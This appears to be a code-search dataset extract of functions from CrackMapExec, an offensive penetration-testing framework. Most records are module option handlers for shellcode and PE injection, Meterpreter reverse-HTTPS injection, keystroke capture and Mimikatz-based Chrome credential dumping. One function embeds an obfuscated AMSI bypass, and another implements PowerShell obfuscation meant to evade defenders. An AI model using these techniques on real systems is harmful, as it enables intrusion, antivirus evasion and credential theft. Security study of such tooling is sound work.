",",
"filterTerm",
"=",
"None",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"# if we're returning a single credential by ID",
"if",
"self",
".",
"is_credential_valid",
"(",
"filterTerm",
")",
":",
... | Return credentials from the database. | [
"Return",
"credentials",
"from",
"the",
"database",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L69-L90 | train |
byt3bl33d3r/CrackMapExec | cme/modules/invoke_sessiongopher.py | CMEModule.options | def options(self, context, module_options):
'''
THOROUGH Searches entire filesystem for certain file extensions (default: False)
ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
'''
self.t... | python | def options(self, context, module_options):
'''
THOROUGH Searches entire filesystem for certain file extensions (default: False)
ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False)
'''
self.t... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"thorough",
"=",
"False",
"self",
".",
"all_domain",
"=",
"False",
"if",
"'THOROUGH'",
"in",
"module_options",
":",
"self",
".",
"thorough",
"=",
"bool",
"(",
"m... | THOROUGH Searches entire filesystem for certain file extensions (default: False)
ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) | [
"THOROUGH",
"Searches",
"entire",
"filesystem",
"for",
"certain",
"file",
"extensions",
"(",
"default",
":",
"False",
")",
"ALLDOMAIN",
"Queries",
"Active",
"Direcotry",
"for",
"a",
"list",
"of",
"all",
"domain",
"-",
"joined",
"computers",
"and",
"runs",
"Ses... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/invoke_sessiongopher.py#L21-L36 | train |
byt3bl33d3r/CrackMapExec | cme/modules/get_netrdpsession.py | CMEModule.options | def options(self, context, module_options):
'''
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
'''
self.exec_methods = ['smbexec', 'atexec']
self.inject = True
... | python | def options(self, context, module_options):
'''
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
'''
self.exec_methods = ['smbexec', 'atexec']
self.inject = True
... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"exec_methods",
"=",
"[",
"'smbexec'",
",",
"'atexec'",
"]",
"self",
".",
"inject",
"=",
"True",
"if",
"'INJECT'",
"in",
"module_options",
":",
"self",
".",
"inj... | INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True) | [
"INJECT",
"If",
"set",
"to",
"true",
"this",
"allows",
"PowerView",
"to",
"work",
"over",
"stealthier",
"execution",
"methods",
"which",
"have",
"non",
"-",
"interactive",
"contexts",
"(",
"e",
".",
"g",
".",
"WMI",
")",
"(",
"default",
":",
"True",
")"
... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_netrdpsession.py#L14-L26 | train |
byt3bl33d3r/CrackMapExec | cme/modules/bloodhound.py | CMEModule.options | def options(self, context, module_options):
'''
THREADS Max numbers of threads to execute on target (defaults to 20)
COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default')
CSVPATH (optional) Path where csv files will be writ... | python | def options(self, context, module_options):
'''
THREADS Max numbers of threads to execute on target (defaults to 20)
COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default')
CSVPATH (optional) Path where csv files will be writ... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"threads",
"=",
"3",
"self",
".",
"csv_path",
"=",
"'C:\\\\'",
"self",
".",
"collection_method",
"=",
"'Default'",
"self",
".",
"neo4j_URI",
"=",
"\"\"",
"self",
... | THREADS Max numbers of threads to execute on target (defaults to 20)
COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default')
CSVPATH (optional) Path where csv files will be written on target (defaults to C:\)
NEO4JURI (opt... | [
"THREADS",
"Max",
"numbers",
"of",
"threads",
"to",
"execute",
"on",
"target",
"(",
"defaults",
"to",
"20",
")",
"COLLECTIONMETHOD",
"Method",
"used",
"by",
"BloodHound",
"ingestor",
"to",
"collect",
"data",
"(",
"defaults",
"to",
"Default",
")",
"CSVPATH",
... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L23-L58 | train |
byt3bl33d3r/CrackMapExec | cme/modules/bloodhound.py | CMEModule.parse_ouput | def parse_ouput(self, data, context, response):
'''
Parse the output from Invoke-BloodHound
'''
parsedData = data.split("!-!")
nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv']
for x in range(0, len(parsedData)):
... | python | def parse_ouput(self, data, context, response):
'''
Parse the output from Invoke-BloodHound
'''
parsedData = data.split("!-!")
nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv']
for x in range(0, len(parsedData)):
... | [
"def",
"parse_ouput",
"(",
"self",
",",
"data",
",",
"context",
",",
"response",
")",
":",
"parsedData",
"=",
"data",
".",
"split",
"(",
"\"!-!\"",
")",
"nameList",
"=",
"[",
"'user_sessions'",
",",
"'group_membership.csv'",
",",
"'acls.csv'",
",",
"'local_a... | Parse the output from Invoke-BloodHound | [
"Parse",
"the",
"output",
"from",
"Invoke",
"-",
"BloodHound"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/bloodhound.py#L89-L116 | train |
byt3bl33d3r/CrackMapExec | cme/modules/rdp.py | CMEModule.options | def options(self, context, module_options):
'''
ACTION Enable/Disable RDP (choices: enable, disable)
'''
if not 'ACTION' in module_options:
context.log.error('ACTION option not specified!')
exit(1)
if module_options['ACTION'].lower() not in ['enable... | python | def options(self, context, module_options):
'''
ACTION Enable/Disable RDP (choices: enable, disable)
'''
if not 'ACTION' in module_options:
context.log.error('ACTION option not specified!')
exit(1)
if module_options['ACTION'].lower() not in ['enable... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"not",
"'ACTION'",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'ACTION option not specified!'",
")",
"exit",
"(",
"1",
")",
"if",
"module_option... | ACTION Enable/Disable RDP (choices: enable, disable) | [
"ACTION",
"Enable",
"/",
"Disable",
"RDP",
"(",
"choices",
":",
"enable",
"disable",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/rdp.py#L14-L27 | train |
byt3bl33d3r/CrackMapExec | cme/modules/empire_exec.py | CMEModule.options | def options(self, context, module_options):
'''
LISTENER Listener name to generate the launcher for
'''
if not 'LISTENER' in module_options:
context.log.error('LISTENER option is required!')
sys.exit(1)
self.empire_launcher = None
headers... | python | def options(self, context, module_options):
'''
LISTENER Listener name to generate the launcher for
'''
if not 'LISTENER' in module_options:
context.log.error('LISTENER option is required!')
sys.exit(1)
self.empire_launcher = None
headers... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"not",
"'LISTENER'",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'LISTENER option is required!'",
")",
"sys",
".",
"exit",
"(",
"1",
")",
"sel... | LISTENER Listener name to generate the launcher for | [
"LISTENER",
"Listener",
"name",
"to",
"generate",
"the",
"launcher",
"for"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/empire_exec.py#L21-L62 | train |
byt3bl33d3r/CrackMapExec | cme/modules/pe_inject.py | CMEModule.options | def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH... | python | def options(self, context, module_options):
'''
PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None)
'''
if not 'PATH... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"not",
"'PATH'",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'PATH option is required!'",
")",
"exit",
"(",
"1",
")",
"self",
".",
"payload_pa... | PATH Path to dll/exe to inject
PROCID Process ID to inject into (default: current powershell process)
EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) | [
"PATH",
"Path",
"to",
"dll",
"/",
"exe",
"to",
"inject",
"PROCID",
"Process",
"ID",
"to",
"inject",
"into",
"(",
"default",
":",
"current",
"powershell",
"process",
")",
"EXEARGS",
"Arguments",
"to",
"pass",
"to",
"the",
"executable",
"being",
"reflectively"... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/pe_inject.py#L16-L41 | train |
byt3bl33d3r/CrackMapExec | cme/modules/tokens.py | CMEModule.options | def options(self, context, module_options):
'''
USER Search for the specified username in available tokens (default: None)
USERFILE File containing usernames to search for in available tokens (defult: None)
'''
self.user = None
self.userfile = None
... | python | def options(self, context, module_options):
'''
USER Search for the specified username in available tokens (default: None)
USERFILE File containing usernames to search for in available tokens (defult: None)
'''
self.user = None
self.userfile = None
... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"user",
"=",
"None",
"self",
".",
"userfile",
"=",
"None",
"if",
"'USER'",
"in",
"module_options",
"and",
"'USERFILE'",
"in",
"module_options",
":",
"context",
"."... | USER Search for the specified username in available tokens (default: None)
USERFILE File containing usernames to search for in available tokens (defult: None) | [
"USER",
"Search",
"for",
"the",
"specified",
"username",
"in",
"available",
"tokens",
"(",
"default",
":",
"None",
")",
"USERFILE",
"File",
"containing",
"usernames",
"to",
"search",
"for",
"in",
"available",
"tokens",
"(",
"defult",
":",
"None",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/tokens.py#L19-L44 | train |
byt3bl33d3r/CrackMapExec | cme/modules/shellcode_inject.py | CMEModule.options | def options(self, context, module_options):
'''
PATH Path to the file containing raw shellcode to inject
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is requir... | python | def options(self, context, module_options):
'''
PATH Path to the file containing raw shellcode to inject
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'PATH' in module_options:
context.log.error('PATH option is requir... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"not",
"'PATH'",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'PATH option is required!'",
")",
"exit",
"(",
"1",
")",
"self",
".",
"shellcode_... | PATH Path to the file containing raw shellcode to inject
PROCID Process ID to inject into (default: current powershell process) | [
"PATH",
"Path",
"to",
"the",
"file",
"containing",
"raw",
"shellcode",
"to",
"inject",
"PROCID",
"Process",
"ID",
"to",
"inject",
"into",
"(",
"default",
":",
"current",
"powershell",
"process",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/shellcode_inject.py#L16-L36 | train |
byt3bl33d3r/CrackMapExec | cme/modules/mimipenguin.py | CMEModule.options | def options(self, context, module_options):
'''
SCRIPT Script version to execute (choices: bash, python) (default: bash)
'''
scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'),
'BASH' : get_script('mimipenguin/mimipenguin.sh')}
self.script_choice =... | python | def options(self, context, module_options):
'''
SCRIPT Script version to execute (choices: bash, python) (default: bash)
'''
scripts = {'PYTHON': get_script('mimipenguin/mimipenguin.py'),
'BASH' : get_script('mimipenguin/mimipenguin.sh')}
self.script_choice =... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"scripts",
"=",
"{",
"'PYTHON'",
":",
"get_script",
"(",
"'mimipenguin/mimipenguin.py'",
")",
",",
"'BASH'",
":",
"get_script",
"(",
"'mimipenguin/mimipenguin.sh'",
")",
"}",
"self",... | SCRIPT Script version to execute (choices: bash, python) (default: bash) | [
"SCRIPT",
"Script",
"version",
"to",
"execute",
"(",
"choices",
":",
"bash",
"python",
")",
"(",
"default",
":",
"bash",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimipenguin.py#L16-L30 | train |
byt3bl33d3r/CrackMapExec | cme/modules/mimikatz_enum_chrome.py | CMEModule.on_admin_login | def on_admin_login(self, context, connection):
'''
Oook.. Think my heads going to explode
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes ... | python | def on_admin_login(self, context, connection):
'''
Oook.. Think my heads going to explode
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes ... | [
"def",
"on_admin_login",
"(",
"self",
",",
"context",
",",
"connection",
")",
":",
"payload",
"=",
"'''\n $cmd = \"privilege::debug sekurlsa::dpapi\"\n $userdirs = get-childitem \"$Env:SystemDrive\\Users\"\n foreach ($dir in $userdirs) {{\n $LoginDataPath = \"... | Oook.. Think my heads going to explode
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.... | [
"Oook",
"..",
"Think",
"my",
"heads",
"going",
"to",
"explode"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz_enum_chrome.py#L28-L71 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/smbspider.py | SMBSpider._spider | def _spider(self, subfolder, depth):
'''
Abondon all hope ye who enter here.
You're now probably wondering if I was drunk and/or high when writing this.
Getting this to work took a toll on my sanity. So yes. a lot.
'''
# The following is some funky shit that ... | python | def _spider(self, subfolder, depth):
'''
Abondon all hope ye who enter here.
You're now probably wondering if I was drunk and/or high when writing this.
Getting this to work took a toll on my sanity. So yes. a lot.
'''
# The following is some funky shit that ... | [
"def",
"_spider",
"(",
"self",
",",
"subfolder",
",",
"depth",
")",
":",
"# The following is some funky shit that deals with the way impacket treats file paths",
"if",
"subfolder",
"in",
"[",
"''",
",",
"'.'",
"]",
":",
"subfolder",
"=",
"'*'",
"elif",
"subfolder",
... | Abondon all hope ye who enter here.
You're now probably wondering if I was drunk and/or high when writing this.
Getting this to work took a toll on my sanity. So yes. a lot. | [
"Abondon",
"all",
"hope",
"ye",
"who",
"enter",
"here",
".",
"You",
"re",
"now",
"probably",
"wondering",
"if",
"I",
"was",
"drunk",
"and",
"/",
"or",
"high",
"when",
"writing",
"this",
".",
"Getting",
"this",
"to",
"work",
"took",
"a",
"toll",
"on",
... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/smbspider.py#L59-L96 | train |
byt3bl33d3r/CrackMapExec | cme/helpers/misc.py | which | def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be ove... | python | def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be ove... | [
"def",
"which",
"(",
"cmd",
",",
"mode",
"=",
"os",
".",
"F_OK",
"|",
"os",
".",
"X_OK",
",",
"path",
"=",
"None",
")",
":",
"# Check that a given file can be accessed with the correct mode.",
"# Additionally check that `file` is not a directory, as on Windows",
"# direct... | Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
Note: This func... | [
"Given",
"a",
"command",
"mode",
"and",
"a",
"PATH",
"string",
"return",
"the",
"path",
"which",
"conforms",
"to",
"the",
"given",
"mode",
"on",
"the",
"PATH",
"or",
"None",
"if",
"there",
"is",
"no",
"such",
"file",
".",
"mode",
"defaults",
"to",
"os"... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/misc.py#L44-L85 | train |
byt3bl33d3r/CrackMapExec | cme/modules/enum_dns.py | CMEModule.options | def options(self, context, module_options):
'''
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
'''
self.domains = None
if module_options and 'DOMAIN' in module_options:
self.domains = module_options['DOMAIN'] | python | def options(self, context, module_options):
'''
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
'''
self.domains = None
if module_options and 'DOMAIN' in module_options:
self.domains = module_options['DOMAIN'] | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"domains",
"=",
"None",
"if",
"module_options",
"and",
"'DOMAIN'",
"in",
"module_options",
":",
"self",
".",
"domains",
"=",
"module_options",
"[",
"'DOMAIN'",
"]"
] | DOMAIN Domain to enumerate DNS for. Defaults to all zones. | [
"DOMAIN",
"Domain",
"to",
"enumerate",
"DNS",
"for",
".",
"Defaults",
"to",
"all",
"zones",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/enum_dns.py#L16-L22 | train |
byt3bl33d3r/CrackMapExec | cme/modules/met_inject.py | CMEModule.options | def options(self, context, module_options):
'''
LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process)
... | python | def options(self, context, module_options):
'''
LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process)
... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"met_payload",
"=",
"'reverse_https'",
"self",
".",
"procid",
"=",
"None",
"if",
"not",
"'LHOST'",
"in",
"module_options",
"or",
"not",
"'LPORT'",
"in",
"module_opti... | LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process) | [
"LHOST",
"IP",
"hosting",
"the",
"handler",
"LPORT",
"Handler",
"port",
"PAYLOAD",
"Payload",
"to",
"inject",
":",
"reverse_http",
"or",
"reverse_https",
"(",
"default",
":",
"reverse_https",
")",
"PROCID",
"Process",
"ID",
"to",
"inject",
"into",
"(",
"defaul... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/met_inject.py#L15-L39 | train |
byt3bl33d3r/CrackMapExec | cme/helpers/powershell.py | create_ps_command | def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n... | python | def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n... | [
"def",
"create_ps_command",
"(",
"ps_command",
",",
"force_ps32",
"=",
"False",
",",
"dont_obfs",
"=",
"False",
")",
":",
"amsi_bypass",
"=",
"\"\"\"[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\ntry{\n[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'o... | if is_powershell_installed():
temp = tempfile.NamedTemporaryFile(prefix='cme_',
suffix='.ps1',
dir='/tmp')
temp.write(command)
temp.read()
encoding_types = [1,2,3,4,5,6]
while True:
... | [
"if",
"is_powershell_installed",
"()",
":"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L70-L154 | train |
byt3bl33d3r/CrackMapExec | cme/helpers/powershell.py | invoke_obfuscation | def invoke_obfuscation(scriptString):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
# Create list of random dxelimiters called randomDelimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ... | python | def invoke_obfuscation(scriptString):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
# Create list of random dxelimiters called randomDelimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ... | [
"def",
"invoke_obfuscation",
"(",
"scriptString",
")",
":",
"# Add letters a-z with random case to $RandomDelimiters.",
"alphabet",
"=",
"''",
".",
"join",
"(",
"choice",
"(",
"[",
"i",
".",
"upper",
"(",
")",
",",
"i",
"]",
")",
"for",
"i",
"in",
"ascii_lower... | # Array to store all selected PowerShell execution flags.
powerShellFlags = []
noProfile = '-nop'
nonInteractive = '-noni'
windowStyle = '-w'
# Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order.
# This is to prevent Blue Team from p... | [
"#",
"Array",
"to",
"store",
"all",
"selected",
"PowerShell",
"execution",
"flags",
".",
"powerShellFlags",
"=",
"[]"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L242-L392 | train |
byt3bl33d3r/CrackMapExec | cme/modules/scuffy.py | CMEModule.options | def options(self, context, module_options):
'''
SERVER IP of the SMB server
NAME SCF file name
CLEANUP Cleanup (choices: True or False)
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEAN... | python | def options(self, context, module_options):
'''
SERVER IP of the SMB server
NAME SCF file name
CLEANUP Cleanup (choices: True or False)
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options['CLEAN... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"cleanup",
"=",
"False",
"if",
"'CLEANUP'",
"in",
"module_options",
":",
"self",
".",
"cleanup",
"=",
"bool",
"(",
"module_options",
"[",
"'CLEANUP'",
"]",
")",
... | SERVER IP of the SMB server
NAME SCF file name
CLEANUP Cleanup (choices: True or False) | [
"SERVER",
"IP",
"of",
"the",
"SMB",
"server",
"NAME",
"SCF",
"file",
"name",
"CLEANUP",
"Cleanup",
"(",
"choices",
":",
"True",
"or",
"False",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/scuffy.py#L19-L49 | train |
byt3bl33d3r/CrackMapExec | cme/servers/http.py | RequestHandler.stop_tracking_host | def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
try:
self.server.hosts.remove(self.client_address[0])
if hasattr(self.server.module, 'on_shutdown'):
s... | python | def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
try:
self.server.hosts.remove(self.client_address[0])
if hasattr(self.server.module, 'on_shutdown'):
s... | [
"def",
"stop_tracking_host",
"(",
"self",
")",
":",
"try",
":",
"self",
".",
"server",
".",
"hosts",
".",
"remove",
"(",
"self",
".",
"client_address",
"[",
"0",
"]",
")",
"if",
"hasattr",
"(",
"self",
".",
"server",
".",
"module",
",",
"'on_shutdown'"... | This gets called when a module has finshed executing, removes the host from the connection tracker list | [
"This",
"gets",
"called",
"when",
"a",
"module",
"has",
"finshed",
"executing",
"removes",
"the",
"host",
"from",
"the",
"connection",
"tracker",
"list"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/servers/http.py#L30-L39 | train |
byt3bl33d3r/CrackMapExec | cme/modules/netripper.py | CMEModule.options | def options(self, context, module_options):
'''
PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
'''
self.process = None
if 'PROCESS' in module_options:
self.process = module_... | python | def options(self, context, module_options):
'''
PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
'''
self.process = None
if 'PROCESS' in module_options:
self.process = module_... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"process",
"=",
"None",
"if",
"'PROCESS'",
"in",
"module_options",
":",
"self",
".",
"process",
"=",
"module_options",
"[",
"'PROCESS'",
"]",
"else",
":",
"context... | PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) | [
"PROCESS",
"Process",
"to",
"hook",
"only",
"x86",
"processes",
"are",
"supported",
"by",
"NetRipper",
"currently",
"(",
"Choices",
":",
"firefox",
"chrome",
"putty",
"winscp",
"outlook",
"lync",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/netripper.py#L21-L42 | train |
byt3bl33d3r/CrackMapExec | cme/modules/get_keystrokes.py | CMEModule.options | def options(self, context, module_options):
'''
TIMEOUT Specifies the interval in minutes to capture keystrokes.
STREAM Specifies whether to stream the keys over the network (default: False)
POLL Specifies the interval in seconds to poll the log file (default: 20)
'''
... | python | def options(self, context, module_options):
'''
TIMEOUT Specifies the interval in minutes to capture keystrokes.
STREAM Specifies whether to stream the keys over the network (default: False)
POLL Specifies the interval in seconds to poll the log file (default: 20)
'''
... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"'TIMEOUT'",
"not",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'TIMEOUT option is required!'",
")",
"exit",
"(",
"1",
")",
"self",
".",
"stre... | TIMEOUT Specifies the interval in minutes to capture keystrokes.
STREAM Specifies whether to stream the keys over the network (default: False)
POLL Specifies the interval in seconds to poll the log file (default: 20) | [
"TIMEOUT",
"Specifies",
"the",
"interval",
"in",
"minutes",
"to",
"capture",
"keystrokes",
".",
"STREAM",
"Specifies",
"whether",
"to",
"stream",
"the",
"keys",
"over",
"the",
"network",
"(",
"default",
":",
"False",
")",
"POLL",
"Specifies",
"the",
"interval"... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_keystrokes.py#L20-L51 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/db_navigator.py | navigator.complete_hosts | def complete_hosts(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = ["add", "remove", "dc"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)] | python | def complete_hosts(self, text, line, begidx, endidx):
"Tab-complete 'creds' commands."
commands = ["add", "remove", "dc"]
mline = line.partition(' ')[2]
offs = len(mline) - len(text)
return [s[offs:] for s in commands if s.startswith(mline)] | [
"def",
"complete_hosts",
"(",
"self",
",",
"text",
",",
"line",
",",
"begidx",
",",
"endidx",
")",
":",
"commands",
"=",
"[",
"\"add\"",
",",
"\"remove\"",
",",
"\"dc\"",
"]",
"mline",
"=",
"line",
".",
"partition",
"(",
"' '",
")",
"[",
"2",
"]",
... | Tab-complete 'creds' commands. | [
"Tab",
"-",
"complete",
"creds",
"commands",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/db_navigator.py#L255-L262 | train |
mwouts/jupytext | jupytext/magics.py | is_magic | def is_magic(line, language, global_escape_flag=True):
"""Is the current line a (possibly escaped) Jupyter magic, and should it be commented?"""
if language in ['octave', 'matlab']:
return False
